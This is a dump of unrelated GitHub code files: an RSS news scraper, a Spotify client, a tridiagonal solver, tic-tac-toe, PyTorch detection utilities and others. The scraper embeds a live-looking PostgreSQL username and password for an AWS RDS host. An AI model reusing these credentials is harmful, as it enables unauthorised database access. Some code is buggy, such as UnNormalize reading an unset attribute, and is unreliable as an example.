files = split_reader.get_image_samples(count)\n return files\n\n\n@st.cache\ndef convert_df(input_df):\n # IMPORTANT: Cache the conversion to prevent computation on every rerun\n return input_df.to_html(\n formatters={\"img\": image_formatter},\n escape=False,\n )\n\n\ndef get_thumbnail(path):\n i = Image.open(path)\n i.thumbnail((1280, 1280), Image.LANCZOS)\n return i\n\n\ndef image_base64(im):\n if isinstance(im, str):\n im = get_thumbnail(im)\n with BytesIO() as buffer:\n im.save(buffer, \"jpeg\")\n return base64.b64encode(buffer.getvalue()).decode()\n\n\ndef image_formatter(im):\n return f' '\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"1034776739/dsdl-sdk","sub_path":"cli/utils/views/view_from_info.py","file_name":"view_from_info.py","file_ext":"py","file_size_in_byte":4000,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"53"}
+{"seq_id":"14217485286","text":"import re\n\n# Finds the width of the longest number in a single problem and adds two spaces\ndef calculate_width(problem):\n max = 0\n for elem in problem.split():\n if len(elem) > max:\n max = len(elem)\n \n return max + 2\n\n\ndef arithmetic_arranger(problems, calculate = False):\n if len(problems) > 5:\n return \"Error: Too many problems.\"\n\n lines = []\n\n for i in range(4):\n # Initialising the lines to empty strings\n lines.append(\"\")\n\n for problem in problems:\n width = calculate_width(problem)\n\n pieces = problem.split()\n if pieces[1] not in [\"+\", \"-\"]:\n return \"Error: Operator must be '+' or '-'.\"\n\n if len(max(problem.split())) > 4:\n return \"Error: Numbers cannot be more than four digits.\"\n\n if not re.search(\"^[0-9]{1,4}$\", pieces[0]) or not re.search(\"^[0-9]{1,4}$\", pieces[2]):\n return \"Error: Numbers must only contain digits.\"\n\n lines[0] += pieces[0].rjust(width + 4)\n\n lines[1] += \" \" * 4\n lines[1] += pieces[1]\n lines[1] += pieces[2].rjust(width - 1)\n\n lines[2] += \" \" * 4\n lines[2] += \"-\" * width\n\n if calculate:\n if(pieces[1] == \"+\"):\n lines[3] += str(int(pieces[0]) + int(pieces[2])).rjust(width + 4)\n else: # We have already checked for any other operation not being present\n lines[3] += str(int(pieces[0]) - int(pieces[2])).rjust(width + 4)\n\n # Remove 4 spaces at the beginning of each line before joining\n for i in range(4):\n lines[i] = lines[i][4:]\n\n # Joins the lines and returns the block of text\n return \"\\n\".join(tuple(lines))\n","repo_name":"dangarmol/python-scientific-computing-fcc","sub_path":"Arithmetic Formatter/arithmetic_arranger.py","file_name":"arithmetic_arranger.py","file_ext":"py","file_size_in_byte":1694,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"7973314712","text":"import ast\r\nimport numpy as np\r\nimport torch\r\nfrom torch.autograd import Variable\r\n\r\n\r\nwith open('fta/utils/coco91_label_dict.txt', 'r') as f:\r\n COCO91_LABEL_DICT = ast.literal_eval(f.read())\r\n\r\n\r\nclass Normalize(torch.nn.Module):\r\n def __init__(self, mean: tuple, std: tuple):\r\n super(Normalize, self).__init__()\r\n self._mean = mean\r\n self._std = std\r\n\r\n def forward(self, tensor: torch.tensor) -> torch.tensor:\r\n N, C, H, W = tensor.shape\r\n mean = np.expand_dims(np.expand_dims(np.expand_dims(\r\n np.array(self._mean).astype(np.float32),\r\n axis=0), axis=-1), axis=-1)\r\n mean_tile = torch.tensor(np.tile(mean, (N, 1, H, W)))\r\n std = np.expand_dims(np.expand_dims(np.expand_dims(\r\n np.array(self._std).astype(np.float32), axis=0),\r\n axis=-1), axis=-1)\r\n std_tile = torch.tensor(np.tile(std, (N, 1, H, W)))\r\n\r\n if tensor.is_cuda:\r\n mean_tile = mean_tile.cuda()\r\n std_tile = std_tile.cuda()\r\n\r\n tensor = (tensor - mean_tile) / std_tile\r\n return tensor\r\n\r\n\r\nclass UnNormalize(torch.nn.Module):\r\n def __init__(self, mean: tuple, std: tuple):\r\n super(UnNormalize, self).__init__()\r\n self.mean = mean\r\n self.std = std\r\n\r\n def forward(self, tensor: torch.tensor) -> torch.tensor:\r\n N, C, H, W = tensor.shape\r\n mean = np.expand_dims(np.expand_dims(np.expand_dims(\r\n np.array(self._mean).astype(np.float32), axis=0),\r\n axis=-1), axis=-1)\r\n mean_tile = torch.tensor(np.tile(mean, (N, 1, H, W)))\r\n std = np.expand_dims(np.expand_dims(np.expand_dims(\r\n np.array(self._std).astype(np.float32), axis=0),\r\n axis=-1), axis=-1)\r\n std_tile = torch.tensor(np.tile(std, (N, 1, H, W)))\r\n\r\n if tensor.is_cuda:\r\n mean_tile = mean_tile.cuda()\r\n std_tile = std_tile.cuda()\r\n\r\n tensor = tensor * std_tile + mean_tile\r\n return tensor\r\n\r\n\r\ndef numpy_to_variable(image, device=torch.device('cuda:0')):\r\n if len(image.shape) == 3:\r\n x_image = np.expand_dims(image, axis=0)\r\n else:\r\n x_image = image\r\n x_image = Variable(torch.tensor(x_image), requires_grad=True)\r\n x_image = x_image.to(device)\r\n x_image.retain_grad()\r\n return x_image\r\n\r\ndef variable_to_numpy(variable):\r\n return variable.cpu().detach().numpy()\r\n\r\ndef convert_torch_det_output(torch_out,\r\n cs_th=0.5,\r\n cls_as_name=False,\r\n cls_filter=None):\r\n '''convert pytorch detection model output to list of dictionary of list\r\n [\r\n {\r\n 'scores': [0.97943294], \r\n 'classes': [14], \r\n 'boxes': [[65.1657, 17.7265, 418.3291, 314.5997]]\r\n }\r\n ]\r\n '''\r\n ret_list = []\r\n for temp_torch_out in torch_out:\r\n temp_dic = {\r\n 'scores' : [],\r\n 'classes' : [],\r\n 'boxes' : []\r\n }\r\n box_list = temp_torch_out['boxes'].cpu().numpy()\r\n score_list = temp_torch_out['scores'].cpu().numpy()\r\n label_list = temp_torch_out['labels'].cpu().numpy()\r\n for box, score, label in zip(box_list, score_list, label_list):\r\n if cls_filter != None and label not in cls_filter:\r\n continue\r\n if score < cs_th:\r\n continue\r\n temp_dic['scores'].append(score)\r\n temp_dic['boxes'].append(box)\r\n if cls_as_name:\r\n temp_dic['classes'].append(COCO91_LABEL_DICT[label])\r\n else:\r\n temp_dic['classes'].append(label)\r\n ret_list.append(temp_dic)\r\n return ret_list\r\n","repo_name":"erbloo/fast_transferable_blackbox_attack","sub_path":"fta/utils/torch_utils/model_utils.py","file_name":"model_utils.py","file_ext":"py","file_size_in_byte":3460,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"8849264792","text":"#! /usr/bin/env python\n\nimport uvmf_gen\n\n## The input to this call is the name of the desired interface\nintf = uvmf_gen.InterfaceClass('apb_if')\n\n## Specify parameters for this interface package.\n## These parameters can be used when defining signal and variable sizes.\n# addHdlParamDef(,,)\nintf.addParamDef('DATA_WIDTH','int','32')\nintf.addParamDef('ADDR_WIDTH','int','32')\n\n## Specify the clock and reset signal for the interface\nintf.pclk = 'pclk'\nintf.preset_n = 'preset_n'\nintf.resetAssertionLevel = True\n\n## Specify the ports associated with this interface.\n## The direction is from the perspective of the test bench as an INITIATOR on the bus.\n## addPort(,,[input|output|inout])\nintf.addPort('pselx',1,'output')\nintf.addPort('penable',1,'output')\nintf.addPort('pwrite',1,'output')\nintf.addPort('pready',1,'input')\nintf.addPort('pslverr',1,'input')\nintf.addPort('pprot',1,'output')\nintf.addPort('paddr','[ADDR_WIDTH-1:0]','output')\nintf.addPort('pwdata','[DATA_WIDTH-1:0]','output')\nintf.addPort('prdata','[DATA_WIDTH-1:0]','input')\nintf.addPort('pstrb','[(DATA_WIDTH/8)-1:0]','output')\nintf.addPort('rdata','DATA_WIDTH','input')\n\n## Specify typedef for inclusion in typedefs_hdl file\n# addHdlTypedef(,)\nintf.addHdlTypedef('my_byte_t','byte')\nintf.addHdlTypedef('my_word_t','bit [15:0] ')\n\n## Specify typedef for inclusion in typedefs file\n# addHvlTypedef(,)\nintf.addHvlTypedef('my_object_t','uvm_object')\n\n## Specify transaction variables for the interface.\n## addTransVar(,)\n## optionally can specify if this variable may be specified as 'rand'\n## optionally can specify if this variable may be specified as used in do_compare()\nintf.addTransVar('prdata','bit [DATA_WIDTH-1:0]',isrand=False,iscompare=True)\nintf.addTransVar('pwdata','bit [DATA_WIDTH-1:0]',isrand=False,iscompare=True)\nintf.addTransVar('paddr','bit [ADDR_WIDTH-1:0]',isrand=True,iscompare=True)\nintf.addTransVar('pprot','bit [2:0]',isrand=True,iscompare=False)\nintf.addTransVar('pselx','int',isrand=False,iscompare=False)\n\n## Specify transaction variable constraint\n## addTransVarConstraint(,)\n# intf.addTransVarConstraint('valid_address_range_c','{ address inside {[2048:1055], [1024:555], [511:0]}; }')\nintf.addTransVarConstraint('pselx_c1','{ $countones(pselx)]==1; }')\nintf.addTransVarConstraint('pselx_c2','{ pselx >0 && pselx <2**1; }')\nintf.addTransVarConstraint('pwdata_c3','{soft pwdata inside {[0:100]} ; }')\n\n## Specify configuration variables for the interface.\n## addConfigVar(,)\n## optionally can specify if this variable may be specified as 'rand'\nintf.addConfigVar('transfer_size','bit [31:0]',isrand=True)\n\n## Specify configuration variable constraint\n## addConfigVarConstraint(,)\nintf.addTransVarConstraint('transfer_size_c4','{ transfer_size inside {8,16,24,32}; }')\n## This will prompt the creation of all interface files in their specified\n## locations\n## intf.inFactReady = False\nintf.create()\n\n","repo_name":"muneeb-mbytes/UVMF","sub_path":"UVM_Framework/UVMF_3.6f/templates/python/examples/apb_if_config.py","file_name":"apb_if_config.py","file_ext":"py","file_size_in_byte":3089,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"53"}
+{"seq_id":"26043272","text":"import getTitles\nimport sys\n\nfrom MediaClass import Media\n\ndef print_usage():\n print(\"There is only one option right now:\")\n print(\"extract file(optional)\")\n\nif __name__ == \"__main__\":\n for i in range(1,len(sys.argv)):\n arg = sys.argv[i]\n if arg.lower() == \"extract\":\n the_file = None\n if i < (len(sys.argv)-1):\n the_file = sys.argv[i+1]\n i += 2\n else:\n i += 1\n if the_file:\n raw_titles = getTitles.get_titles_from_file(the_file)\n else:\n raw_titles = getTitles.get_titles_from_file()\n parsed_titles = getTitles.parse_titles(raw_titles)\n for item in parsed_titles:\n m = Media()\n m.title = item[0]\n m.year = item[1]\n m.save()\n else:\n print_usage()","repo_name":"ajtmccarty/mediaTools","sub_path":"manage.py","file_name":"manage.py","file_ext":"py","file_size_in_byte":760,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"26335117528","text":"class Bus():\n def __init__(self, speed, capacity, max_speed, empty_seats):\n self.speed = speed\n self.capacity = capacity\n self.max_speed = max_speed\n self.empty_seats = empty_seats\n\n def Posadka(self, amount):\n if self.empty_seats >= amount:\n self.empty_seats -= amount\n print('Посадили:', amount)\n else:\n print('Посадили:', self.empty_seats)\n self.empty_seats = 0\n\n def Razognatsya(self, speed):\n if speed + self.speed < self.max_speed:\n print('Разогнались до', self.speed + speed)\n self.speed += speed\n\n else:\n print('Едем в село с мах. скоростью - ', self.max_speed)\n self.speed = self.max_speed\n\nbus = Bus(40, 80, 200, 40)\nbus.Posadka(5)\nbus.Posadka(65)\nbus.Razognatsya(190)\n","repo_name":"Darya176/Lessons","sub_path":"PythonTasks/classwork29.11/class4.py","file_name":"class4.py","file_ext":"py","file_size_in_byte":907,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"72193616807","text":"import spotipy\nfrom track import Track\nfrom session import Session\nfrom typing import Dict, List\n\n\nclass SpotifyClient(spotipy.Spotify):\n def __init__(self, auth):\n super().__init__(auth=auth)\n\n def get_playlists(self):\n playlist_objects = self.current_user_playlists()[\"items\"]\n playlists = {}\n for playlist in playlist_objects:\n playlists[playlist[\"id\"]] = {\n \"uri\": playlist[\"uri\"],\n \"name\": playlist[\"name\"],\n \"tracks\": playlist[\"tracks\"][\"total\"],\n \"owner\": playlist[\"owner\"][\"display_name\"]\n }\n return playlists\n\n def get_playlist(self, playlist_id):\n return Playlist(playlist_id, self)\n\n\nclass Playlist:\n def __init__(self, playlist_id: str, sp: SpotifyClient):\n self.sp = sp\n self.playlist_id = playlist_id\n self.__load_playlist(playlist_id)\n self.played = set()\n\n def __load_playlist(self, playlist_id: str):\n playlist = self.sp.playlist(playlist_id)\n self.name = playlist[\"name\"]\n self.owner = playlist[\"owner\"]\n self.tracks = {}\n for track_obj in playlist[\"tracks\"][\"items\"]:\n track = track_obj[\"track\"]\n self.tracks[track[\"id\"]] = (Track(track))\n self.set_track_features()\n self.uri = playlist[\"uri\"]\n\n @classmethod\n def uri_to_id(cls, uri):\n return uri.split(':')[-1]\n\n def __load_tracks(self):\n track_objects = self.sp.playlist_tracks(playlist_id=self.playlist_id, fields=\"items(track(id,name))\")[\"items\"]\n for track_obj in track_objects:\n self.tracks[track_obj[\"track\"][\"id\"]] = Track(track_obj[\"track\"])\n\n def replace_tracks(self, track_ids: List[str]):\n self.sp.user_playlist_replace_tracks(self.owner, self.playlist_id, track_ids)\n\n def tracks_to_matrix(self):\n matrix = {\"labels\": [], \"data\": []}\n for _, track in self.tracks.items():\n matrix[\"labels\"].append(track)\n matrix[\"data\"].append(track.get_features())\n return matrix\n\n def set_track_features(self):\n track_ids = list(self.tracks.keys())\n features = []\n chunks = [track_ids[i * 100:(i + 1) * 100] for i in range((len(track_ids) + 100 - 1) // 100)]\n for chunk in chunks:\n features.extend(self.sp.audio_features(chunk[:100]))\n for feature in features:\n self.tracks[feature[\"id\"]].set_features(feature)\n\n\nclass Playback:\n def __init__(self, sp: SpotifyClient):\n self.sp = sp\n self.user_id = sp.me()[\"id\"]\n self.track = None\n self.progress = 0\n self.is_playing = False\n self.queue = []\n self.update_state()\n\n def update_state(self):\n state = self.sp.current_playback()\n if not state:\n return\n self.track = Track(state[\"item\"])\n self.progress = state[\"progress_ms\"]\n self.is_playing = state[\"is_playing\"]\n\n def new_queue(self, tracks: List[Track]):\n self.queue = [track.uri for track in tracks]\n self.sp.start_playback(uris=self.queue)\n\n def play(self):\n self.sp.start_playback()\n\n def pause(self):\n self.sp.pause_playback()\n\n def skip(self):\n session = Session(self.user_id)\n playlist = session.get(\"playlist\")\n clusters = session.get(\"clusters\")\n prev_skip_i = self.queue.index(self.track.uri)\n self.update_state()\n curr_i = self.queue.index(self.track.uri)\n playlist.played.update(self.queue[prev_skip_i:curr_i + 1])\n clusters.update_scores(self.track, self.track.portion_played(self.progress))\n queue = clusters.create_track_queue(playlist.played)\n session.set(\"playlist\", playlist)\n session.set(\"clusters\", clusters)\n self.new_queue(queue)\n\n\n","repo_name":"danielchen115/smart-shuffle","sub_path":"spotify.py","file_name":"spotify.py","file_ext":"py","file_size_in_byte":3840,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"71731014889","text":"import math\r\n\r\nimport numpy as np\r\n\r\n\r\ndef isTridiagonal(m):\r\n for i in range(0, len(m)):\r\n for j in range(0, len(m)):\r\n if ((i == j) or (i - 1 == j) or (i + 1 == j)):\r\n if (m[i][j] == 0):\r\n return False\r\n else:\r\n if (m[i][j] != 0):\r\n return False\r\n\r\n return True\r\n\r\ndef isDD(m):\r\n\r\n for i in range(0,len(m)):\r\n n1 = 0\r\n n2 = 0\r\n for j in range(0,len(m)):\r\n if(i == j):\r\n n1 = m[i][j]\r\n else:\r\n n2 = n2 + math.fabs(m[i][j])\r\n if(n1 < n2):\r\n return False\r\n return True\r\n\r\n\r\ndef tridiagonal_vectors(A):\r\n \"\"\"\r\n Extrai os vetores a, b e c de uma matriz tridiagonal A.\r\n\r\n Parâmetros:\r\n A (numpy array): Matriz tridiagonal de dimensão (n, n).\r\n\r\n Retorno:\r\n a (numpy array): Vetor diagonal inferior de A.\r\n b (numpy array): Vetor diagonal principal de A.\r\n c (numpy array): Vetor diagonal superior de A.\r\n \"\"\"\r\n n = A.shape[0]\r\n a = np.zeros(n)\r\n b = np.zeros(n)\r\n c = np.zeros(n)\r\n\r\n for i in range(n):\r\n b[i] = A[i,i]\r\n if i > 0:\r\n a[i] = A[i,i-1]\r\n c[i-1] = A[i-1,i]\r\n\r\n return a, b, c\r\n\r\n\r\ndef thomas_algorithm(a, b, c, d):\r\n n = len(d)\r\n c_dash = np.zeros(n-1)\r\n d_dash = np.zeros(n)\r\n x = np.zeros(n)\r\n\r\n # Modifying the coefficients\r\n c_dash[0] = c[0] / b[0]\r\n d_dash[0] = d[0] / b[0]\r\n\r\n for i in range(1, n-1):\r\n c_dash[i] = c[i] / (b[i] - a[i] * c_dash[i-1])\r\n\r\n for i in range(1, n):\r\n d_dash[i] = (d[i] - a[i] * d_dash[i-1]) / (b[i] - a[i] * c_dash[i-1])\r\n\r\n # Back substitution\r\n x[n-1] = d_dash[n-1]\r\n for i in range(n-2, -1, -1):\r\n x[i] = round(d_dash[i] - c_dash[i] * x[i+1],1)\r\n\r\n return x\r\n\r\n\r\n#---------------MAIN------------------#\r\n\r\nA = np.array([[2, 1, 0, 0, 0],\r\n [1, 2, 1, 0, 0],\r\n [0, 1, 2, 1, 0],\r\n [0, 0, 1, 2, 1],\r\n [0, 0, 0, 1, 2]], dtype='double')\r\n\r\nif not isTridiagonal(A):\r\n raise ValueError(\"A matriz deve ser Tridiagonal para o algoritmo ser eficiente\")\r\n\r\nif not isDD(A):\r\n raise ValueError(\"A matriz deve ser Diagonalmente Dominante\")\r\n\r\nB = np.array([4, 4, 0, 0, 2], dtype='double')\r\n\r\na,b,c = tridiagonal_vectors(A)\r\nd = B\r\n\r\nprint(\"O vetor a é: \\n\",a)\r\nprint(\"O vetor b é: \\n\",b)\r\nprint(\"O vetor c é: \\n\",c)\r\nprint(\"O vetor d é: \\n\",d)\r\n\r\nX = thomas_algorithm(a,b,c,d)\r\n\r\nprint(\"Vetor Solução: \\n\",X)\r\n\r\n","repo_name":"eppou/Numerical-Calculus","sub_path":"Algoritm_Thomas.py","file_name":"Algoritm_Thomas.py","file_ext":"py","file_size_in_byte":2564,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"872540542","text":"# Extract all feeds from RSS feed List wepage\r\nimport requests\r\nfrom bs4 import BeautifulSoup\r\nimport pandas as pd\r\nfrom datetime import datetime\r\nfrom sqlalchemy import create_engine\r\n\r\n# Getting the current date and time\r\ndt = datetime.now()\r\nprint(dt)\r\n\r\n# scraping function\r\n# def hackernews_rss():\r\n# try:\r\n# res = requests.get(\"https://www.business-standard.com/\")\r\n# print(res)\r\n# return print('The scraping job succeeded: ', res)\r\n# except Exception as e:\r\n# print('The scraping job failed. See exception: ')\r\n# print(e)\r\n#\r\n# print('--------------Starting scraping-------------------------------')\r\n# r = hackernews_rss()\r\n# # print(r)\r\n# print(\"--------------------------------------------------------------\")\r\n# # html_string = r.text\r\n# # print(html_string)\r\n# print('-------------------------------Finished scraping-------------------------------')\r\n\r\n\r\n# Extract all feeds from RSS feed List wepage\r\nfeed_links = []\r\nnews_items = []\r\nresult_df = pd.DataFrame(news_items, columns=['RSS_Feed', 'Title', 'Description', 'Body', 'RSS_Feed_URL',\r\n 'Publish_date', 'Inserted_time_stamp', 'Sentiment'])\r\nurl = 'https://timesofindia.indiatimes.com/rss.cms'\r\nr1 = requests.get(url) # Request\r\nprint(r1.status_code)\r\n\r\ncoverpage = r1.content # We'll save in coverpage the cover page content\r\n\r\n# Soup creation\r\nsoup1 = BeautifulSoup(coverpage, 'html.parser') # 'html5lib')\r\ncoverpage_news = soup1.find_all('span', class_='rssp') # News identification ## span class=\"rssp\"\r\nfor n in range(0, len(coverpage_news)):\r\n link = coverpage_news[n].find('a')['href'] # find all links\r\n feed_links.append(link)\r\n\r\nprint(feed_links)\r\nprint(len(feed_links))\r\n\r\n# code for storing the details of various feeds in pandas DF\r\nfor i in range(len(feed_links)):\r\n vgm_url = feed_links[i]\r\n html_text = requests.get(vgm_url).text\r\n soup = BeautifulSoup(html_text, features=\"xml\")\r\n items = soup.findAll('item')\r\n # print(items)\r\n # scarring HTML tags such as Title, Description, Links and Publication date\r\n for x in items:\r\n news_item = {}\r\n news_item['RSS_Feed'] = vgm_url\r\n news_item['Title'] = x.title.text\r\n news_item['Description'] = x.description.text\r\n news_item['Body'] = \"\"\"Lorem Ipsum is simply dummy text of the printing and typesetting industry. Lorem Ipsum\"\"\"\r\n news_item['RSS_Feed_URL'] = x.link.text\r\n news_item['Publish_date'] = x.pubDate.text\r\n news_item['Inserted_time_stamp'] = datetime.now()\r\n news_item['Sentiment'] = \"Happy\"\r\n news_items.append(news_item)\r\n\r\n # print(news_items)\r\n df = pd.DataFrame(news_items, columns=['RSS_Feed', 'Title', 'Description', 'Body', 'RSS_Feed_URL', 'Publish_date',\r\n 'Inserted_time_stamp', 'Sentiment'])\r\n\r\n # df.head()\r\n result_df = result_df.append(df)\r\n # df.to_csv('result/data1.csv', index=False, encoding='utf-8')\r\nfinal_df = result_df.drop_duplicates()\r\nprint(final_df)\r\nprint(len(final_df))\r\n\r\n# Save result to DB\r\n# create connection string = 'postgresql://:@:/'\r\nconn_string = 'postgresql://postgres_admin:postgres123@postgres-db-identifier1.cxfegqfzlnwt.ap-south-1.' \\\r\n 'rds.amazonaws.com:5432/db_news_feed'\r\n\r\nengine = create_engine(conn_string) # forms a connection to the PostgresSQL database\r\nwith engine.connect() as connection:\r\n final_df.to_sql('table3', con=connection, if_exists='replace', index=False)\r\n\r\n\r\n# for getting Paragraph\r\n# feed_link = news_items[-1]['link']\r\n# print(feed_link)\r\n# html_text1 = requests.get(feed_link).text\r\n\r\n# page = urlopen(feed_link)\r\n# html_text1 = page.read().decode(\"utf-8\")\r\n# soup1 = BeautifulSoup(html_text1, \"html.parser\")\r\n# print(soup1.find_all('p')) # get all paragraphs","repo_name":"deepalidurgade1/news_feed_proj","sub_path":"proj_code/test1.py","file_name":"test1.py","file_ext":"py","file_size_in_byte":4009,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"29952763915","text":"import time\ndef tic_tac_toe():\n\tboard = [[' 1 ',' 2 ',' 3 '],[' 4 ',' 5 ',' 6 '],[' 7 ',' 8 ',' 9 ']]\n\tplayer_X = [-1, -1]\n\tplayer_O = [-1, -1]\n\tmoves = 0\n\n\tprint(\"Welcome to Tic-Tac-Toe!\")\n\twhile moves <= 9:\n\t\t# Show where we are and check\n\t\t# to see if anyone's one before\n\t\t# we accept more moves\n\t\tprint_board(board)\n\t\tif check_for_winner(board):\n\t\t\tprint(\"Congratulations!\")\n\t\t\treturn True\n\n\t\t# Start player 1's turn\n\t\tprint(\"X, select your move!\")\n\t\ttrying = 1\n\t\twhile trying == 1:\n\t\t\tplayer_X = player_turn(player_X)\n\t\t\tif board[player_X[0]][player_X[1]] == ' X ' or board[player_X[0]][player_X[1]] == ' O ':\n\t\t\t\tprint(\"Please make another selection\")\n\t\t\telse:\n\t\t\t\ttrying = 0\n\n\t\tboard[player_X[0]][player_X[1]] = ' X '\n\t\tmoves += 1\n\n\t\t# If we're done or need to check for a winner,\n\t\t# do so now\n\t\tif moves >= 9:\n\t\t\tbreak\n\t\telif moves > 4:\n\t\t\tif check_for_winner(board):\n\t\t\t\tprint_board(board)\n\t\t\t\tprint(\"Congratulations!\")\n\t\t\t\treturn True\n\n\t\t# Update board view\n\t\tprint_board(board)\n\n\t\t# Start player 2's turn\n\t\tprint(\"O, select your move!\")\n\t\ttrying = 1\n\t\twhile trying == 1:\n\t\t\tplayer_O = player_turn(player_O)\n\t\t\tif board[player_O[0]][player_O[1]] == ' X ' or board[player_O[0]][player_O[1]] == ' O ':\n\t\t\t\tprint(\"Please make another selection\")\n\t\t\telse:\n\t\t\t\ttrying = 0\n\n\t\tboard[player_O[0]][player_O[1]] = ' O '\n\t\tmoves += 1\n\n\t\tprint(moves)\n\n\tif check_for_winner(board):\n\t\tprint_board(board)\n\t\tprint(\"Congratulations!\")\n\t\treturn True\n\n\n\tprint(\"It's a tie!\")\n\tprint(\"Game Over!\")\n\tprint_board(board)\n\treturn False\n\n\ndef print_board(board):\n\tprint(board[0][0] + \" | \" + board[0][1] + \" | \" + board[0][2])\n\tprint(\"--- | --- | ---\")\n\ttime.sleep(.4)\n\tprint(board[1][0] + \" | \" + board[1][1] + \" | \" + board[1][2])\n\tprint(\"--- | --- | ---\")\n\ttime.sleep(.4)\n\tprint(board[2][0] + \" | \" + board[2][1] + \" | \" + board[2][2])\n\tprint()\n\tprint()\n\ttime.sleep(1)\n\treturn True\n\ndef check_for_winner(board):\n\tfor row in board:\n\t\tif row[0] == row[1] == row[2]:\n\t\t\tprint(str(row[1]) + \" wins!\")\n\t\t\treturn True\n\n\tfor col in range(len(board)):\n\t\tif board[0][col] == board[1][col] == board[2][col]:\n\t\t\tprint(str(board[1][col]) + \" wins!\")\n\t\t\treturn True\n\n\tif board[0][0] == board[1][1] == board[2][2]:\n\t\tprint(str(board[1][1]) + \" wins!\")\n\t\treturn True\n\n\telif board[0][2] == board[1][1] == board[2][0]:\n\t\tprint(str(board[1][1]) + \" wins!\")\n\t\treturn True\n\n\treturn False\n\ndef player_turn(player):\n\tselection = int(input(\"Choose 1 - 9: \"))\n\tprint()\n\tif selection < 1 or selection > 9:\n\t\treturn [-1, -1]\n\tplayer[0] = (selection - 1) // 3\n\tplayer[1] = (selection + 2) % 3 \n\treturn player\n\ntic_tac_toe()\n","repo_name":"jlehenbauer/python-projects-public","sub_path":"tic_tac_toe.py","file_name":"tic_tac_toe.py","file_ext":"py","file_size_in_byte":2586,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"53"}
+{"seq_id":"39482476319","text":"from __future__ import annotations\n\nimport dataclasses\nimport collections.abc\nfrom typing import Iterator, Sequence, Iterable, Optional, Tuple\n\nimport networkx as nx\nimport torch\nimport torch_scatter\nfrom torch.utils.data.dataloader import default_collate\n\nfrom .base import _BaseGraph\nfrom .graph import Graph\nfrom ..utils import segment_lengths_to_slices, segment_lengths_to_ids, repeat_tensor\n\n\n@dataclasses.dataclass\nclass GraphBatch(_BaseGraph):\n num_graphs: int = None\n global_features: Optional[torch.Tensor] = None\n num_nodes_by_graph: torch.LongTensor = None\n num_edges_by_graph: torch.LongTensor = None\n\n _feature_fields = _BaseGraph._feature_fields + ('global_features',)\n _index_fields = _BaseGraph._index_fields + ('num_nodes_by_graph', 'num_edges_by_graph')\n\n def __post_init__(self):\n # super().__post_init__() will also validate the instance using the _validate methods,\n # so we first fill in missing values that are will be used in self._validate()\n if self.num_graphs is None:\n if self.num_nodes_by_graph is not None:\n self.num_graphs = len(self.num_nodes_by_graph)\n elif self.num_nodes_by_graph is not None:\n self.num_graphs = len(self.num_nodes_by_graph)\n elif self.global_features is not None:\n self.num_graphs = len(self.global_features)\n else:\n raise ValueError('Could not infer number of graphs from batch fields')\n\n if self.num_nodes_by_graph is None and self.num_nodes == 0:\n self.num_nodes_by_graph = torch.zeros(self.num_graphs, dtype=torch.long)\n if self.num_edges_by_graph is None and self.num_edges == 0:\n self.num_edges_by_graph = torch.zeros(self.num_graphs, dtype=torch.long)\n super(GraphBatch, self).__post_init__()\n\n def _validate(self):\n super(GraphBatch, self)._validate()\n\n if self.global_features is not None and self.num_graphs != len(self.global_features):\n raise ValueError(f'Total number of graphs and length of global features must correspond: '\n f'`num_graphs`={self.num_graphs} '\n f'`len(self.global_features)`={len(self.global_features)}')\n if self.num_graphs != len(self.num_nodes_by_graph):\n raise ValueError(f'Total number of graphs and length of nodes by graph must correspond: '\n f'`num_graphs`={self.num_graphs} '\n f'`len(self.num_nodes_by_graph)`={len(self.num_nodes_by_graph)}')\n if self.num_graphs != len(self.num_edges_by_graph):\n raise ValueError(f'Total number of graphs and length of edges by graph must correspond: '\n f'`num_graphs`={self.num_graphs} '\n f'`len(self.num_edges_by_graph)`={len(self.num_edges_by_graph)}')\n\n if self.num_nodes != self.num_nodes_by_graph.sum():\n raise ValueError(f'Total number of nodes and number of nodes by graph must correspond: '\n f'`num_nodes`={self.num_nodes} '\n f'`sum(self.num_nodes_by_graph)`={self.num_nodes_by_graph.sum().item()}')\n if self.num_edges != self.num_edges_by_graph.sum():\n raise ValueError(f'Total number of edges and number of edges by graph must correspond: '\n f'`num_edges`={self.num_edges} '\n f'`sum(self.num_edges_by_graph)`={self.num_edges_by_graph.sum().item()}')\n\n def __len__(self):\n return self.num_graphs\n\n @property\n def node_features_by_graph(self):\n \"\"\"For every graph in the batch, the features of their nodes\n\n Examples:\n\n * Access the node features of a single graph\n\n >>> batch.node_features_by_graph[graph_index]\n\n * Iterate over the node features of every graph in the batch\n\n >>> iter(batch.node_features_by_graph)\n\n * Get a tuple of tensors containing the node features of every graph\n\n >>> batch.node_features_by_graph.astuple()\n\n * Get a tensor of aggregated node features with shape (num_graphs, *node_features_shape)\n\n >>> batch.node_features_by_graph(aggregation='sum')\n \"\"\"\n return _BatchNodeView(self)\n\n @property\n def edge_features_by_graph(self):\n \"\"\"For every graph in the batch, the features of their edges\n\n Examples:\n\n * Access the edge features of a single graph\n\n >>> batch.edge_features_by_graph[graph_index]\n\n * Iterate over the edge features of every graph in the batch\n\n >>> iter(batch.edge_features_by_graph)\n\n * Get a tuple of tensors containing the edge features of every graph\n\n >>> batch.edge_features_by_graph.astuple()\n\n * Get a tensor of aggregated edge features with shape (num_graphs, *edge_features_shape)\n\n >>> batch.edge_features_by_graph(aggregation='sum')\n \"\"\"\n return _BatchEdgeView(self)\n\n @property\n def global_features_shape(self):\n return self.global_features.shape[1:] if self.global_features is not None else None\n\n def global_features_as_edges(self) -> torch.Tensor:\n \"\"\"Broadcast `global_features` along the the first dimension to match `edge_features`,\n respecting the edge-to-graph assignment\n\n Returns:\n a 